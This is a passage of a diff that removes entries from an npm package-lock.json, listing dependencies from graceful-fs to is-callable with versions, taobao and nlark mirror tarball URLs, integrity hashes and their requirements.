-      "version": "4.2.6",
-      "resolved": "https://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.2.6.tgz",
-      "integrity": "sha1-/wQLKwhTsjw9MQJ1I3BvGIXXa+4="
-    },
-    "growly": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npm.taobao.org/growly/download/growly-1.3.0.tgz",
-      "integrity": "sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=",
-      "optional": true
-    },
-    "gzip-size": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npm.taobao.org/gzip-size/download/gzip-size-5.1.1.tgz",
-      "integrity": "sha1-y5vuaS+HwGErIyhAqHOQTkwTUnQ=",
-      "requires": {
-        "duplexer": "^0.1.1",
-        "pify": "^4.0.1"
-      }
-    },
-    "handle-thing": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/handle-thing/download/handle-thing-2.0.1.tgz",
-      "integrity": "sha1-hX95zjWVgMNA1DCBzGSJcNC7I04="
-    },
-    "harmony-reflect": {
-      "version": "1.6.2",
-      "resolved": "https://registry.npm.taobao.org/harmony-reflect/download/harmony-reflect-1.6.2.tgz",
-      "integrity": "sha1-Mey9MuZIo00DDYattn1NR1R/5xA="
-    },
-    "has": {
-      "version": "1.0.3",
-      "resolved": "https://registry.nlark.com/has/download/has-1.0.3.tgz",
-      "integrity": "sha1-ci18v8H2qoJB8W3YFOAR4fQeh5Y=",
-      "requires": {
-        "function-bind": "^1.1.1"
-      }
-    },
-    "has-bigints": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/has-bigints/download/has-bigints-1.0.1.tgz?cache=0&sync_timestamp=1615461262702&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-bigints%2Fdownload%2Fhas-bigints-1.0.1.tgz",
-      "integrity": "sha1-ZP5qywIGc+O3jbA1pa9pqp0HsRM="
-    },
-    "has-flag": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/has-flag/download/has-flag-3.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-3.0.0.tgz",
-      "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0="
-    },
-    "has-symbols": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/has-symbols/download/has-symbols-1.0.2.tgz?cache=0&sync_timestamp=1614443577352&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-symbols%2Fdownload%2Fhas-symbols-1.0.2.tgz",
-      "integrity": "sha1-Fl0wcMADCXUqEjakeTMeOsVvFCM="
-    },
-    "has-value": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/has-value/download/has-value-1.0.0.tgz",
-      "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=",
-      "requires": {
-        "get-value": "^2.0.6",
-        "has-values": "^1.0.0",
-        "isobject": "^3.0.0"
-      }
-    },
-    "has-values": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/has-values/download/has-values-1.0.0.tgz",
-      "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=",
-      "requires": {
-        "is-number": "^3.0.0",
-        "kind-of": "^4.0.0"
-      },
-      "dependencies": {
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "kind-of": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-4.0.0.tgz",
-          "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "hash-base": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/hash-base/download/hash-base-3.1.0.tgz",
-      "integrity": "sha1-VcOB2eBuHSmXqIO0o/3f5/DTrzM=",
-      "requires": {
-        "inherits": "^2.0.4",
-        "readable-stream": "^3.6.0",
-        "safe-buffer": "^5.2.0"
-      },
-      "dependencies": {
-        "safe-buffer": {
-          "version": "5.2.1",
-          "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz",
-          "integrity": "sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY="
-        }
-      }
-    },
-    "hash.js": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npm.taobao.org/hash.js/download/hash.js-1.1.7.tgz",
-      "integrity": "sha1-C6vKU46NTuSg+JiNaIZlN6ADz0I=",
-      "requires": {
-        "inherits": "^2.0.3",
-        "minimalistic-assert": "^1.0.1"
-      }
-    },
-    "he": {
-      "version": "1.2.0",
-      "resolved": "https://registry.nlark.com/he/download/he-1.2.0.tgz",
-      "integrity": "sha1-hK5l+n6vsWX922FWauFLrwVmTw8="
-    },
-    "hex-color-regex": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/hex-color-regex/download/hex-color-regex-1.1.0.tgz",
-      "integrity": "sha1-TAb8y0YC/iYCs8k9+C1+fb8aio4="
-    },
-    "hmac-drbg": {
-      "version": "1.0.1",
-      "resolved": "https://registry.nlark.com/hmac-drbg/download/hmac-drbg-1.0.1.tgz",
-      "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=",
-      "requires": {
-        "hash.js": "^1.0.3",
-        "minimalistic-assert": "^1.0.0",
-        "minimalistic-crypto-utils": "^1.0.1"
-      }
-    },
-    "hoopy": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npm.taobao.org/hoopy/download/hoopy-0.1.4.tgz",
-      "integrity": "sha1-YJIH1mEQADOpqUAq096mdzgcGx0="
-    },
-    "hosted-git-info": {
-      "version": "2.8.9",
-      "resolved": "https://registry.npm.taobao.org/hosted-git-info/download/hosted-git-info-2.8.9.tgz?cache=0&sync_timestamp=1617826545071&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhosted-git-info%2Fdownload%2Fhosted-git-info-2.8.9.tgz",
-      "integrity": "sha1-3/wL+aIcAiCQkPKqaUKeFBTa8/k="
-    },
-    "hpack.js": {
-      "version": "2.1.6",
-      "resolved": "https://registry.npm.taobao.org/hpack.js/download/hpack.js-2.1.6.tgz",
-      "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "obuf": "^1.0.0",
-        "readable-stream": "^2.0.1",
-        "wbuf": "^1.1.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "hsl-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/hsl-regex/download/hsl-regex-1.0.0.tgz",
-      "integrity": "sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4="
-    },
-    "hsla-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/hsla-regex/download/hsla-regex-1.0.0.tgz",
-      "integrity": "sha1-wc56MWjIxmFAM6S194d/OyJfnDg="
-    },
-    "html-encoding-sniffer": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/html-encoding-sniffer/download/html-encoding-sniffer-2.0.1.tgz",
-      "integrity": "sha1-QqbcT9M/ACgRduiyN1nKTk+hhfM=",
-      "requires": {
-        "whatwg-encoding": "^1.0.5"
-      }
-    },
-    "html-entities": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npm.taobao.org/html-entities/download/html-entities-1.4.0.tgz?cache=0&sync_timestamp=1617031468383&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhtml-entities%2Fdownload%2Fhtml-entities-1.4.0.tgz",
-      "integrity": "sha1-z70bAdKvr5rcobEK59/6uYxx0tw="
-    },
-    "html-escaper": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/html-escaper/download/html-escaper-2.0.2.tgz",
-      "integrity": "sha1-39YAJ9o2o238viNiYsAKWCJoFFM="
-    },
-    "html-minifier-terser": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npm.taobao.org/html-minifier-terser/download/html-minifier-terser-5.1.1.tgz",
-      "integrity": "sha1-ki6W8fO7YIMsJjS3mIQJY4mx8FQ=",
-      "requires": {
-        "camel-case": "^4.1.1",
-        "clean-css": "^4.2.3",
-        "commander": "^4.1.1",
-        "he": "^1.2.0",
-        "param-case": "^3.0.3",
-        "relateurl": "^0.2.7",
-        "terser": "^4.6.3"
-      }
-    },
-    "html-webpack-plugin": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npm.taobao.org/html-webpack-plugin/download/html-webpack-plugin-4.5.0.tgz?cache=0&sync_timestamp=1615295979488&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhtml-webpack-plugin%2Fdownload%2Fhtml-webpack-plugin-4.5.0.tgz",
-      "integrity": "sha1-YlCXZQiGuX6l2uMxwyDjI49sEhw=",
-      "requires": {
-        "@types/html-minifier-terser": "^5.0.0",
-        "@types/tapable": "^1.0.5",
-        "@types/webpack": "^4.41.8",
-        "html-minifier-terser": "^5.0.1",
-        "loader-utils": "^1.2.3",
-        "lodash": "^4.17.15",
-        "pretty-error": "^2.1.1",
-        "tapable": "^1.1.3",
-        "util.promisify": "1.0.0"
-      },
-      "dependencies": {
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.4.0",
-          "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz",
-          "integrity": "sha1-xXm140yzSxp07cbB+za/o3HVphM=",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^3.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "util.promisify": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.0.0.tgz?cache=0&sync_timestamp=1610159819836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.0.0.tgz",
-          "integrity": "sha1-RA9xZaRZyaFtwUXrjnLzVocJcDA=",
-          "requires": {
-            "define-properties": "^1.1.2",
-            "object.getownpropertydescriptors": "^2.0.3"
-          }
-        }
-      }
-    },
-    "htmlparser2": {
-      "version": "3.10.1",
-      "resolved": "https://registry.npm.taobao.org/htmlparser2/download/htmlparser2-3.10.1.tgz",
-      "integrity": "sha1-vWedw/WYl7ajS7EHSchVu1OpOS8=",
-      "requires": {
-        "domelementtype": "^1.3.1",
-        "domhandler": "^2.3.0",
-        "domutils": "^1.5.1",
-        "entities": "^1.1.1",
-        "inherits": "^2.0.1",
-        "readable-stream": "^3.1.1"
-      },
-      "dependencies": {
-        "entities": {
-          "version": "1.1.2",
-          "resolved": "https://registry.npm.taobao.org/entities/download/entities-1.1.2.tgz",
-          "integrity": "sha1-vfpzUplmTfr9NFKe1PhSKidf6lY="
-        }
-      }
-    },
-    "http-deceiver": {
-      "version": "1.2.7",
-      "resolved": "https://registry.npm.taobao.org/http-deceiver/download/http-deceiver-1.2.7.tgz",
-      "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc="
-    },
-    "http-errors": {
-      "version": "1.7.2",
-      "resolved": "https://registry.nlark.com/http-errors/download/http-errors-1.7.2.tgz",
-      "integrity": "sha1-T1ApzxMjnzEDblsuVSkrz7zIXI8=",
-      "requires": {
-        "depd": "~1.1.2",
-        "inherits": "2.0.3",
-        "setprototypeof": "1.1.1",
-        "statuses": ">= 1.5.0 < 2",
-        "toidentifier": "1.0.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        }
-      }
-    },
-    "http-parser-js": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npm.taobao.org/http-parser-js/download/http-parser-js-0.5.3.tgz?cache=0&sync_timestamp=1609540073700&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhttp-parser-js%2Fdownload%2Fhttp-parser-js-0.5.3.tgz",
-      "integrity": "sha1-AdJwnHnUFpi7AdTezF6dpOSgM9k="
-    },
-    "http-proxy": {
-      "version": "1.18.1",
-      "resolved": "https://registry.npm.taobao.org/http-proxy/download/http-proxy-1.18.1.tgz",
-      "integrity": "sha1-QBVB8FNIhLv5UmAzTnL4juOXZUk=",
-      "requires": {
-        "eventemitter3": "^4.0.0",
-        "follow-redirects": "^1.0.0",
-        "requires-port": "^1.0.0"
-      }
-    },
-    "http-proxy-agent": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/http-proxy-agent/download/http-proxy-agent-4.0.1.tgz",
-      "integrity": "sha1-ioyO9/WTLM+VPClsqCkblap0qjo=",
-      "requires": {
-        "@tootallnate/once": "1",
-        "agent-base": "6",
-        "debug": "4"
-      }
-    },
-    "http-proxy-middleware": {
-      "version": "0.19.1",
-      "resolved": "https://registry.nlark.com/http-proxy-middleware/download/http-proxy-middleware-0.19.1.tgz",
-      "integrity": "sha1-GDx9xKoUeRUDBkmMIQza+WCApDo=",
-      "requires": {
-        "http-proxy": "^1.17.0",
-        "is-glob": "^4.0.0",
-        "lodash": "^4.17.11",
-        "micromatch": "^3.1.10"
-      },
-      "dependencies": {
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
-          "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz",
-          "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=",
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        }
-      }
-    },
-    "https-browserify": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/https-browserify/download/https-browserify-1.0.0.tgz",
-      "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM="
-    },
-    "https-proxy-agent": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npm.taobao.org/https-proxy-agent/download/https-proxy-agent-5.0.0.tgz",
-      "integrity": "sha1-4qkFQqu2inYuCghQ9sntrf2FBrI=",
-      "requires": {
-        "agent-base": "6",
-        "debug": "4"
-      }
-    },
-    "human-signals": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/human-signals/download/human-signals-1.1.1.tgz",
-      "integrity": "sha1-xbHNFPUK6uCatsWf5jujOV/k36M="
-    },
-    "iconv-lite": {
-      "version": "0.4.24",
-      "resolved": "https://registry.nlark.com/iconv-lite/download/iconv-lite-0.4.24.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ficonv-lite%2Fdownload%2Ficonv-lite-0.4.24.tgz",
-      "integrity": "sha1-ICK0sl+93CHS9SSXSkdKr+czkIs=",
-      "requires": {
-        "safer-buffer": ">= 2.1.2 < 3"
-      }
-    },
-    "icss-utils": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npm.taobao.org/icss-utils/download/icss-utils-4.1.1.tgz",
-      "integrity": "sha1-IRcLU3ie4nRHwvR91oMIFAP5pGc=",
-      "requires": {
-        "postcss": "^7.0.14"
-      }
-    },
-    "identity-obj-proxy": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/identity-obj-proxy/download/identity-obj-proxy-3.0.0.tgz",
-      "integrity": "sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=",
-      "requires": {
-        "harmony-reflect": "^1.4.6"
-      }
-    },
-    "ieee754": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npm.taobao.org/ieee754/download/ieee754-1.2.1.tgz?cache=0&sync_timestamp=1603838364836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fieee754%2Fdownload%2Fieee754-1.2.1.tgz",
-      "integrity": "sha1-jrehCmP/8l0VpXsAFYbRd9Gw01I="
-    },
-    "iferr": {
-      "version": "0.1.5",
-      "resolved": "https://registry.npm.taobao.org/iferr/download/iferr-0.1.5.tgz",
-      "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE="
-    },
-    "ignore": {
-      "version": "5.1.8",
-      "resolved": "https://registry.npm.taobao.org/ignore/download/ignore-5.1.8.tgz",
-      "integrity": "sha1-8VCotQo0KJsz4i9YiavU2AFvDlc="
-    },
-    "immer": {
-      "version": "8.0.1",
-      "resolved": "https://registry.nlark.com/immer/download/immer-8.0.1.tgz?cache=0&sync_timestamp=1619363110051&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fimmer%2Fdownload%2Fimmer-8.0.1.tgz",
-      "integrity": "sha1-nHPbaD4rOXXEJPsFcq9YiYd65lY="
-    },
-    "import-cwd": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/import-cwd/download/import-cwd-2.1.0.tgz",
-      "integrity": "sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk=",
-      "requires": {
-        "import-from": "^2.1.0"
-      }
-    },
-    "import-fresh": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npm.taobao.org/import-fresh/download/import-fresh-3.3.0.tgz?cache=0&sync_timestamp=1608469532269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-3.3.0.tgz",
-      "integrity": "sha1-NxYsJfy566oublPVtNiM4X2eDCs=",
-      "requires": {
-        "parent-module": "^1.0.0",
-        "resolve-from": "^4.0.0"
-      }
-    },
-    "import-from": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/import-from/download/import-from-2.1.0.tgz",
-      "integrity": "sha1-M1238qev/VOqpHHUuAId7ja387E=",
-      "requires": {
-        "resolve-from": "^3.0.0"
-      },
-      "dependencies": {
-        "resolve-from": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-3.0.0.tgz",
-          "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
-        }
-      }
-    },
-    "import-local": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/import-local/download/import-local-3.0.2.tgz",
-      "integrity": "sha1-qM/QQx0d5KIZlwPQA+PmI2T6bbY=",
-      "requires": {
-        "pkg-dir": "^4.2.0",
-        "resolve-cwd": "^3.0.0"
-      },
-      "dependencies": {
-        "pkg-dir": {
-          "version": "4.2.0",
-          "resolved": "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-4.2.0.tgz",
-          "integrity": "sha1-8JkTPfft5CLoHR2ESCcO6z5CYfM=",
-          "requires": {
-            "find-up": "^4.0.0"
-          }
-        }
-      }
-    },
-    "imurmurhash": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npm.taobao.org/imurmurhash/download/imurmurhash-0.1.4.tgz",
-      "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o="
-    },
-    "indent-string": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/indent-string/download/indent-string-4.0.0.tgz?cache=0&sync_timestamp=1618679442183&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Findent-string%2Fdownload%2Findent-string-4.0.0.tgz",
-      "integrity": "sha1-Yk+PRJfWGbLZdoUx1Y9BIoVNclE="
-    },
-    "indexes-of": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/indexes-of/download/indexes-of-1.0.1.tgz",
-      "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc="
-    },
-    "infer-owner": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/infer-owner/download/infer-owner-1.0.4.tgz",
-      "integrity": "sha1-xM78qo5RBRwqQLos6KPScpWvlGc="
-    },
-    "inflight": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npm.taobao.org/inflight/download/inflight-1.0.6.tgz",
-      "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
-      "requires": {
-        "once": "^1.3.0",
-        "wrappy": "1"
-      }
-    },
-    "inherits": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.4.tgz",
-      "integrity": "sha1-D6LGT5MpF8NDOg3tVTY6rjdBa3w="
-    },
-    "ini": {
-      "version": "1.3.8",
-      "resolved": "https://registry.npm.taobao.org/ini/download/ini-1.3.8.tgz?cache=0&sync_timestamp=1607907788001&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fini%2Fdownload%2Fini-1.3.8.tgz",
-      "integrity": "sha1-op2kJbSIBvNHZ6Tvzjlyaa8oQyw="
-    },
-    "internal-ip": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npm.taobao.org/internal-ip/download/internal-ip-4.3.0.tgz",
-      "integrity": "sha1-hFRSuq2dLKO2nGNaE3rLmg2tCQc=",
-      "requires": {
-        "default-gateway": "^4.2.0",
-        "ipaddr.js": "^1.9.0"
-      }
-    },
-    "internal-slot": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/internal-slot/download/internal-slot-1.0.3.tgz",
-      "integrity": "sha1-c0fjB97uovqsKsYgXUvH00ln9Zw=",
-      "requires": {
-        "get-intrinsic": "^1.1.0",
-        "has": "^1.0.3",
-        "side-channel": "^1.0.4"
-      }
-    },
-    "invariant": {
-      "version": "2.2.4",
-      "resolved": "https://registry.npm.taobao.org/invariant/download/invariant-2.2.4.tgz",
-      "integrity": "sha1-YQ88ksk1nOHbYW5TgAjSP/NRWOY=",
-      "requires": {
-        "loose-envify": "^1.0.0"
-      }
-    },
-    "ip": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npm.taobao.org/ip/download/ip-1.1.5.tgz",
-      "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo="
-    },
-    "ip-regex": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/ip-regex/download/ip-regex-2.1.0.tgz",
-      "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk="
-    },
-    "ipaddr.js": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npm.taobao.org/ipaddr.js/download/ipaddr.js-1.9.1.tgz",
-      "integrity": "sha1-v/OFQ+64mEglB5/zoqjmy9RngbM="
-    },
-    "is-absolute-url": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-absolute-url/download/is-absolute-url-2.1.0.tgz",
-      "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY="
-    },
-    "is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "is-arguments": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-arguments/download/is-arguments-1.1.0.tgz?cache=0&sync_timestamp=1607117404740&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-arguments%2Fdownload%2Fis-arguments-1.1.0.tgz",
-      "integrity": "sha1-YjUwMd++4HzrNGVqa95Z7+yujdk=",
-      "requires": {
-        "call-bind": "^1.0.0"
-      }
-    },
-    "is-arrayish": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.2.1.tgz",
-      "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0="
-    },
-    "is-bigint": {
-      "version": "1.0.2",
-      "resolved": "https://registry.nlark.com/is-bigint/download/is-bigint-1.0.2.tgz?cache=0&sync_timestamp=1620162121646&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-bigint%2Fdownload%2Fis-bigint-1.0.2.tgz",
-      "integrity": "sha1-/7OBRCUDI1rSReqJ5Fs9v/BA7lo="
-    },
-    "is-binary-path": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-2.1.0.tgz",
-      "integrity": "sha1-6h9/O4DwZCNug0cPhsCcJU+0Wwk=",
-      "optional": true,
-      "requires": {
-        "binary-extensions": "^2.0.0"
-      }
-    },
-    "is-boolean-object": {
-      "version": "1.1.1",
-      "resolved": "https://registry.nlark.com/is-boolean-object/download/is-boolean-object-1.1.1.tgz?cache=0&sync_timestamp=1620428521406&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-boolean-object%2Fdownload%2Fis-boolean-object-1.1.1.tgz",
-      "integrity": "sha1-PAh48DXLghIo01DS4eNnGXFqPeg=",
-      "requires": {
-        "call-bind": "^1.0.2"
-      }
-    },
-    "is-buffer": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npm.taobao.org/is-buffer/download/is-buffer-1.1.6.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-buffer%2Fdownload%2Fis-buffer-1.1.6.tgz",
-      "integrity": "sha1-76ouqdqg16suoTqXsritUf776L4="
-    },
-    "is-callable": {
-      "version": "1.2.3",
